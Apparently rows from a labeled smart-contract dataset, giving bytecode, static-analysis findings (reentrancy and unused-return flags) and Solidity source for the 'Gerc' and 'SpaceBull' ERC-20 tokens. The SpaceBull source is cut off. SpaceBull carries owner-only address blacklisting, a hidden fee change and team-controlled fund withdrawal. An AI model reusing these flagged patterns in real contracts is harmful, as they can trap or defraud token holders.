031215612e7057612e6f613756565b5b6000612e7e87828801612bdc565b9450506020612e8f87828801612bdc565b9350506040612ea087828801612bdc565b9250506060612eb187828801612bdc565b91505092959194509250565b6000612ec98383612ed5565b60208301905092915050565b612ede81613577565b82525050565b612eed81613577565b82525050565b6000612efe8261341d565b612f088185613440565b9350612f138361340d565b8060005b83811015612f44578151612f2b8882612ebd565b9750612f3683613433565b925050600181019050612f17565b5085935050505092915050565b612f5a81613589565b82525050565b612f69816135cc565b82525050565b6000612f7a82613428565b612f848185613451565b9350612f948185602086016135de565b612f9d8161375b565b840191505092915050565b6000612fb5602a83613451565b9150612fc08261376c565b604082019050919050565b6000612fd8602283613451565b9150612fe3826137bb565b604082019050919050565b6000612ffb601b83613451565b91506130068261380a565b602082019050919050565b600061301e602183613451565b915061302982613833565b604082019050919050565b6000613041602083613451565b915061304c82613882565b602082019050919050565b6000613064602983613451565b915061306f826138ab565b604082019050919050565b6000613087601a83613451565b9150613092826138fa565b602082019050919050565b60006130aa602483613451565b91506130b582613923565b604082019050919050565b60006130cd601783613451565b91506130d882613972565b602082019050919050565b6130ec816135b5565b82525050565b6130fb816135bf565b82525050565b60006020820190506131166000830184612ee4565b92915050565b60006040820190506131316000830185612ee4565b61313e6020830184612ee4565b9392505050565b600060408201905061315a6000830185612ee4565b61316760208301846130e3565b9392505050565b600060c0820190506131836000830189612ee4565b61319060208301886130e3565b61319d6040830187612f60565b6131aa6060830186612f60565b6131b76080830185612ee4565b6131c460a08301846130e3565b979650505050505050565b60006020820190506131e46000830184612f51565b92915050565b600060208201905081810360008301526132048184612f6f565b905092915050565b6000602082019050818103600083015261322581612fa8565b9050919050565b6000602082019050818103600083015261324581612fcb565b9050919050565b6000602082019050818103600083015261326581612fee565b9050919050565b6000602082019050818103600083015261328581613011565b9050919050565b600060208201905081810360008301526132a581613034565b9050919050565b600060208201905081810360008301526132c581613057565b9050919050565b600060208201905081810360008301526132e58161307a565b9050919050565b600060208201905081810360008301526133058161309d565b9050919050565b60006020820190508181036000830152613325816130c0565b9050919050565b600060208201905061334160008301846130e3565b92915050565b600060a08201905061335c60008301886130e3565b6133696020830187612f60565b818103604083015261337b8186612ef3565b905061338a6060830185612ee4565b61339760808301846130e3565b9695505050505050565b60006020820190506133b660008301846130f2565b92915050565b60006133c66133d7565b90506133d28282613611565b919050565b6000604051905090565b600067ffffffffffffffff8211156133fc576133fb613718565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061346d826135b5565b9150613478836135b5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134ad576134ac61368b565b5b828201905092915050565b60006134c3826135b5565b91506134ce836135b5565b9250826134de576134dd6136ba565b5b828204905092915050565b60006134f4826135b5565b91506134ff836135b5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135385761353761368b565b5b828202905092915050565b600061354e826135b5565b9150613559836135b5565b92508282101561356c5761356b61368b565b5b828203905092915050565b600061358282613595565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135d7826135b5565b9050919050565b60005b838110156135fc5780820151818401526020810190506135e1565b8381111561360b576000848401525b50505050565b61361a8261375b565b810181811067ffffffffffffffff8211171561363957613638613718565b5b80604052505050565b600061364d826135b5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136805761367f61368b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6139a481613577565b81146139af57600080fd5b50565b6139bb81613589565b81146139c657600080fd5b50565b6139d2816135b5565b81146139dd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c755ceb06d05596dc7698057399489773faa458694519c372f60994e9e32325464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,073 |
0x4f7d5a7588771e7889b599dbcb67c63a28129732
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract Gerc is StandardToken, Ownable {
using SafeMath for uint256;
string public constant name = "Game Eternal Role Chain";
string public constant symbol = "GERC";
uint8 public constant decimals = 3;
//总配额1000亿
uint256 constant INITIAL_SUPPLY = 100000000000 * (10 ** uint256(decimals));
//设置GERC代币官网短URL(32字节以内),供管理平台自动查询
string public website = "www.gerc.club";
//设置GERC代币icon短URL(32字节以内),供管理平台自动查询
string public icon = "/css/gerc.png";
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
/**
* airdorp in batch
*/
function airdrop(address[] payees, uint256 airdropValue) public onlyOwner returns(bool) {
uint256 _size = payees.length;
uint256 amount = airdropValue.mul(_size);
require(amount <= balances[owner], "balance error");
for (uint i = 0; i<_size; i++) {
if (payees[i] == address(0)) {
amount = amount.sub(airdropValue);
continue;
}
balances[payees[i]] = balances[payees[i]].add(airdropValue);
emit Transfer(owner, payees[i], airdropValue);
}
balances[owner] = balances[owner].sub(amount);
return true;
}
/**
* 设置token官网和icon信息
*/
function setWebInfo(string _website, string _icon) public onlyOwner returns(bool){
website = _website;
icon = _icon;
return true;
}
}
|
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de578063313ce56714610208578063661884631461023357806370a08231146102575780638da5cb5b1461027857806395d89b41146102a9578063a9059cbb146102be578063beb0a416146102e2578063c204642c146102f7578063c557b9851461034e578063d73dd62314610363578063dd62ed3e14610387578063f2fde38b146103ae578063fae29ee8146103d1575b600080fd5b34801561010157600080fd5b5061010a610468565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a036004351660243561049f565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc610505565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a036004358116906024351660443561050c565b34801561021457600080fd5b5061021d610683565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b506101a3600160a060020a0360043516602435610688565b34801561026357600080fd5b506101cc600160a060020a036004351661077a565b34801561028457600080fd5b5061028d610795565b60408051600160a060020a039092168252519081900360200190f35b3480156102b557600080fd5b5061010a6107a4565b3480156102ca57600080fd5b506101a3600160a060020a03600435166024356107db565b3480156102ee57600080fd5b5061010a6108bc565b34801561030357600080fd5b50604080516020600480358082013583810280860185019096528085526101a395369593946024949385019291829185019084908082843750949750509335945061094a9350505050565b34801561035a57600080fd5b5061010a610b8a565b34801561036f57600080fd5b506101a3600160a060020a0360043516602435610be5565b34801561039357600080fd5b506101cc600160a060020a0360043581169060243516610c7e565b3480156103ba57600080fd5b506103cf600160a060020a0360043516610ca9565b005b3480156103dd57600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101a394369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750610d3e9650505050505050565b60408051808201909152601781527f47616d6520457465726e616c20526f6c6520436861696e000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6001545b90565b6000600160a060020a038316151561052357600080fd5b600160a060020a03841660009081526020819052604090205482111561054857600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561057857600080fd5b600160a060020a0384166000908152602081905260409020546105a1908363ffffffff610d8916565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105d6908363ffffffff610d9b16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610618908363ffffffff610d8916565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600381565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156106dd57336000908152600260209081526040808320600160a060020a0388168452909152812055610712565b6106ed818463ffffffff610d8916565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031681565b60408051808201909152600481527f4745524300000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156107f257600080fd5b3360009081526020819052604090205482111561080e57600080fd5b3360009081526020819052604090205461082e908363ffffffff610d8916565b3360009081526020819052604080822092909255600160a060020a03851681522054610860908363ffffffff610d9b16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109425780601f1061091757610100808354040283529160200191610942565b820191906000526020600020905b81548152906001019060200180831161092557829003601f168201915b505050505081565b600354600090819081908190600160a060020a0316331461096a57600080fd5b8551925061097e858463ffffffff610db116565b600354600160a060020a0316600090815260208190526040902054909250821115610a0a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f62616c616e6365206572726f7200000000000000000000000000000000000000604482015290519081900360640190fd5b5060005b82811015610b38578551600090879083908110610a2757fe5b90602001906020020151600160a060020a03161415610a5757610a50828663ffffffff610d8916565b9150610b30565b610a9b856000808985815181101515610a6c57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff610d9b16565b6000808884815181101515610aac57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558551869082908110610add57fe5b602090810291909101810151600354604080518981529051600160a060020a039384169493909216927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b600101610a0e565b600354600160a060020a0316600090815260208190526040902054610b63908363ffffffff610d8916565b600354600160a060020a031660009081526020819052604090205550600195945050505050565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109425780601f1061091757610100808354040283529160200191610942565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c19908363ffffffff610d9b16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610cc057600080fd5b600160a060020a0381161515610cd557600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600354600090600160a060020a03163314610d5857600080fd5b8251610d6b906004906020860190610ddc565b508151610d7f906005906020850190610ddc565b5060019392505050565b600082821115610d9557fe5b50900390565b600082820183811015610daa57fe5b9392505050565b600080831515610dc45760009150610773565b50828202828482811515610dd457fe5b0414610daa57fe5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610e1d57805160ff1916838001178555610e4a565b82800160010185558215610e4a579182015b82811115610e4a578251825591602001919060010190610e2f565b50610e56929150610e5a565b5090565b61050991905b80821115610e565760008155600101610e605600a165627a7a72305820270fa1119476165b41d903415ecbd629b23636ba1b51400222466dce654533450029
|
{"success": true, "error": null, "results": {}}
| 8,074 |
0xf53c4f09c7967927caf5fe0c7cb656e69f6e8cc2
|
/*
https://t.me/spacebull
www.spacebull.xyz
BULLS ARE BACK IN TOWN
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SpaceBull is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Space Bull | t.me/spacebull";
string private constant _symbol = "BULL";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 15000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
